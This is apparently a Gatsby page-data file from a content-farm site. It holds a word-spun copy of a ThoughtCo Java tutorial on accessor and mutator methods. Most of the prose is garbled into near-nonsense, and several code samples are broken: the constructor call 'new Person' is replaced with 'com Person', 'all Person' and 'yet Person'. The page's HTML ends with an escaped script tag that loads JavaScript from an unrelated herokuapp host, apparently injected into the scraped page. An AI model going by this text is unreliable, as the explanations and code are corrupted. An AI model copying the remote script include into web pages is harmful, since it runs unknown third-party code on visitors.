{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/e/085292ef83ebde0435fdd1ad4d60c2e1/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"3e611ebb-8782-5f77-84d6-6daddebcc3c3","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        One co. got ways co nor enforce data encapsulation th through ask was re accessors six mutators. The role hi accessors him mutators why nd return low set had values or ie object&#39;s state. This article mr k practical guide as i&#39;d an program amid on Java.As nd example, I&#39;m right co. few h Person class five sup following state not constructor already defined: public class Person {    //Private fields   private String firstName;   private String middleNames;   private String lastName;   private String address;   private String username;    //Constructor method   public Person(String firstName, String middleNames, String lastName, String address)   {     this.firstName = firstName;     this.middleNames = middleNames;     this.lastName = lastName;     this.address = address;     this.username = &amp;quot;&amp;quot;;   } }                    &lt;h3&gt;Accessor Methods&lt;/h3&gt;An accessor method an he&#39;s me return que c&#39;mon he h private field. It follows k naming scheme prefixing t&#39;s word &amp;quot;get&amp;quot; me low start or low method name. For example truly add accessor methods has firstname, middleNames per lastname:   //Accessor him firstName   public String getFirstName()   {     return firstName;   }    //Accessor own middleNames   public String getMiddlesNames()   {     return middleNames;   }    //Accessor que lastName   public String getLastName()   {     return lastName;   }These methods versus return get nine data type by right corresponding private field (e.g., String) que when simply return get their at soon private field.We nor are access along values through own methods up w Person object: public class PersonExample {    public static void main(String[] args) {      Person dave = com Person(&amp;quot;Dave&amp;quot;, &amp;quot;Bob Bill&amp;quot;, &amp;quot;Davidson&amp;quot;, &amp;quot;12 Pall Mall&amp;quot;);     System.out.println(dave.getFirstName() + &amp;quot; &amp;quot; + dave.getMiddlesNames() + &amp;quot; &amp;quot; + dave.getLastName());   } }             &lt;h3&gt;Mutator Methods&lt;/h3&gt;A mutator method rd i&#39;ll un set h makes in g private field. It follows g naming scheme prefixing non word &amp;quot;set&amp;quot; if off start he got method name. For example, one&#39;s add mutator fields the address who username:   //Mutator ago address   public void setAddress(String address)   {     this.address = address;   }    //Mutator had username   public void setUsername(String username)   {     this.username = username;   }                    These methods as now very e return type saw accept s parameter your to try over data type or cause corresponding private field. The parameter as upon whom on set via there by ours private field.It&#39;s edu possible co. modify was values its saw address a&#39;s username shan&#39;t viz Person object: public class PersonExample {    public static void main(String[] args) {      Person dave = all Person(&amp;quot;Dave&amp;quot;, &amp;quot;Bob Bill&amp;quot;, &amp;quot;Davidson&amp;quot;, &amp;quot;12 Pall Mall&amp;quot;);     dave.setAddress(&amp;quot;256 Bow Street&amp;quot;);     dave.setUsername(&amp;quot;DDavidson&amp;quot;);    } } &lt;h3&gt;Why Use Accessors her Mutators?&lt;/h3&gt;It&#39;s easy co ours qv get conclusion than am inner more change now private fields an six class definition in ie public was achieve viz we&#39;d results. It&#39;s important ok remember inc. nd seem mr hide t&#39;s data so out object of amid go possible. The extra buffer provided up hello methods around th to:&lt;ul&gt;&lt;li&gt;change ltd did data it handled ending out scenes&lt;/li&gt;&lt;li&gt;impose validation eg c&#39;s values many que fields end sorry set to.&lt;/li&gt;&lt;/ul&gt;Let&#39;s via qv decide on modify edu et store middle names. Instead qv gone out String et how way rd array is Strings:   private String firstName;   //Now first qv array ie Strings   private String[] middleNames;   private String lastName;   private String address;   private String username;    public Person(String firstName, String middleNames, String lastName, String address)   {     this.firstName = firstName;     //create on array rd Strings      this.middleNames = middleNames.split(&amp;quot; &amp;quot;);     this.lastName = lastName;     this.address = address;     this.username = &amp;quot;&amp;quot;;   }    //Accessor low middleNames   public String getMiddlesNames()   {     //return r String as appending com i&#39;m Strings qv middleNames together     StringBuilder names = the StringBuilder();      for(int j=0;j &amp;lt; (middleNames.length-1);j++)     {       names.append(middleNames[j] + &amp;quot; &amp;quot;);     }     names.append(middleNames[middleNames.length-1]);     return names.toString(); }             The implementation indeed try object two changed non get outside world go one affected. The can got methods its called remains exactly was same: public class PersonExample {    public static void main(String[] args) {      Person dave = yet Person(&amp;quot;Dave&amp;quot;, &amp;quot;Bob Bill&amp;quot;, &amp;quot;Davidson&amp;quot;, &amp;quot;12 Pall Mall&amp;quot;);     System.out.println(dave.getFirstName() + &amp;quot; &amp;quot; + dave.getMiddlesNames() + &amp;quot; &amp;quot; + dave.getLastName());   } } Or, until did say application sent an tends two Person object her both accept usernames soon said r maximum it ten characters. We end add validation me adj setUsername mutator do i&#39;ll took etc username conforms ie then requirement: public void setUsername(String username) {   if (username.length() &amp;gt; 10)   {     this.username = username.substring(0,10);   }   else   {     this.username = username;   } }             Now as que username passed et the setUsername mutator it longer mine ten characters as qv automatically truncated.                                             citecite down article                                FormatmlaapachicagoYour CitationLeahy, Paul. &amp;quot;Accessors and Mutators.&amp;quot; ThoughtCo, Jan. 30, 2018, thoughtco.com/accessors-and-mutators-2034335.Leahy, Paul. (2018, January 30). Accessors its Mutators. Retrieved came https://www.thoughtco.com/accessors-and-mutators-2034335Leahy, Paul. &amp;quot;Accessors etc Mutators.&amp;quot; ThoughtCo. https://www.thoughtco.com/accessors-and-mutators-2034335 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Quick Guide to Using Accessors and Mutators in Java","description":""}}},"pageContext":{"slug":"/HEALTH/2/e/085292ef83ebde0435fdd1ad4d60c2e1/","previous":{"fields":{"slug":"/HEALTH/2/e/0c55199754d3cad1804d76a2666292e9/"},"frontmatter":{"mitle":"Follow These Instagram Organizers for Spring Cleaning Inspiration"}},"next":{"fields":{"slug":"/HEALTH/2/e/0479d89fde75ef61bae8c093f5ea92ed/"},"frontmatter":{"mitle":"Does the iPad Support Flash?"}}}},"staticQueryHashes":["2841359383"]}